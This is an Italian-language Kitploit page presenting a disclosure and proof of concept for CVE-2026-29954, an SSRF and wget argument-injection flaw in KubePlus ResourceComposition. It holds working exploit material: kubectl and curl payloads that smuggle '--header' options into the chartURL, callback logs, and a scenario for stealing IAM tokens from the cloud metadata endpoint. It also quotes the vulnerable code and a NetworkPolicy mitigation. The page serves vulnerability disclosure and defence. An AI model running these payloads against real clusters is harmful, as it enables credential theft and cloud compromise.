Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29954 — Proof-of-concept che dimostra SSRF e injection di header HTTP in KubePlus ResourceComposition, consentendo l'accesso ai metadati cloud e il furto di credenziali IAM. | Kitploit
Strumenti/GitHubGitHub/b0b0haha/cve-2026-29954
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza Cloud
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

Proof-of-concept che dimostra SSRF e injection di header HTTP in KubePlus ResourceComposition, consentendo l'accesso ai metadati cloud e il furto di credenziali IAM.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

KubePlus ResourceComposition ChartURL SSRF + Header Injection

Questa vulnerabilità esiste nel componente di gestione delle risorse ResourceComposition di KubePlus, consentendo a un attaccante con privilegi Provider di accedere a servizi interni tramite SSRF creando un parametro chartURL malevolo, e di iniettare header HTTP arbitrari tramite command injection in wget. Ciò consente agli attaccanti di accedere a servizi di metadata cloud che richiedono header specifici (ad es., GCP richiede l'header Metadata-Flavor: Google), rubando così le credenziali IAM. CWE consigliata per la segnalazione: CWE-918 (Server-Side Request Forgery).

Riepilogo

I componenti mutating webhook e kubeconfiggenerator di KubePlus presentano una vulnerabilità SSRF durante l'elaborazione del campo chartURL delle risorse ResourceComposition. Il campo viene solo URL-encoded senza validare l'indirizzo di destinazione. Ancora più critico, quando kubeconfiggenerator usa wget per scaricare i chart, il chartURL viene concatenato direttamente nel comando, consentendo agli attaccanti di iniettare l'opzione --header di wget per ottenere un'iniezione arbitraria di header HTTP.

Dettagli

Posizione del Codice Vulnerabile

Punto di Ingresso SSRF - :

mutating-webhook/utils.go:986-995
root@kitploit:~
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

Punto di Iniezione Header - deploy/kubeconfiggenerator.py:552-558:

root@kitploit:~
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

Il chartURL viene concatenato direttamente nel comando wget, consentendo agli attaccanti di iniettare l'opzione --header.

Analisi della Vulnerabilità

  1. SSRF: Il campo chartURL proviene dall'input utente, viene solo URL-encoded, senza validare se la destinazione sia una rete interna o un servizio di metadata
  2. Command Injection (Header): Il comando wget concatena direttamente chartURL, consentendo l'iniezione di opzioni della riga di comando di wget
  3. Header Injection: Iniettando l'opzione --header, è possibile aggiungere header HTTP arbitrari

PoC

Configurazione dell'Ambiente

  1. Creare un cluster Kind:
root@kitploit:~
kind create cluster --name kubeplus-test
  1. Installare KubePlus v4.2.0:
root@kitploit:~
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. Generare il kubeconfig del provider:
root@kitploit:~
python3 provider-kubeconfig.py create default
  1. Distribuire il server di callback:
root@kitploit:~
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

Test 1: Verifica SSRF di Base

root@kitploit:~
# Creare ResourceComposition con payload SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

Output del Log del Server di Callback:

root@kitploit:~
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

Test 2: Header Injection tramite wget --header

root@kitploit:~
# Configurare il port forwarding verso kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Iniettare l'header Metadata-Flavor (richiesto per il servizio di metadata GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

Output del Log del Server di Callback:

root@kitploit:~
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

Test 3: Iniezione di Header Multipli

root@kitploit:~
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

Output del Log del Server di Callback:

root@kitploit:~
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

Impatto

  1. SSRF verso Servizi Interni: Gli attaccanti possono accedere a servizi interni del cluster e all'API Kubernetes
  2. Accesso ai Metadata Cloud: Iniettando l'header Metadata-Flavor: Google, è possibile accedere al servizio di metadata GCP
  3. Furto di Credenziali IAM: Negli ambienti cloud, è possibile rubare le credenziali temporanee IAM
  4. Bypass dell'Autenticazione: Iniettando header Authorization, potrebbe essere aggirata l'autenticazione di alcuni servizi

Scenario di Attacco

root@kitploit:~
Attaccante (privilegi Provider)
    |
    v
Crea ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhook elabora la richiesta
    |
    v
kubeconfiggenerator esegue: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Accesso al servizio di metadata GCP, ottenimento del Token IAM
    |
    v
Utilizzo del Token IAM per accedere alle risorse cloud

Gravità

Punteggio CVSS 3.1: 8.5 (Alta) Vettore: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • Vettore di Attacco: Rete
  • Complessità di Attacco: Bassa
  • Privilegi Richiesti: Alti (ruolo Provider)
  • Interazione Utente: Nessuna
  • Scope: Modificato (può accedere a servizi cloud esterni)
  • Riservatezza: Alta (credenziali IAM)
  • Integrità: Bassa
  • Disponibilità: Nessuna

Versioni Interessate

  • KubePlus v4.2.0 (verificata)
  • Probabilmente tutte le versioni che usano wget per il download dei chart

Workaround

  1. Network Policy: Limitare l'accesso di rete in uscita per il Pod KubePlus
root@kitploit:~
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
  1. Whitelist URL: Aggiungere una validazione whitelist per chartURL nel codice

Riferimenti

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-88: Improper Neutralization of Argument Delimiters in a Command
  • OWASP SSRF Prevention Cheat Sheet
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Crediti

crediti a: @b0b0haha ([email protected]) @lixingquzhi ([email protected])

Scarica lo strumento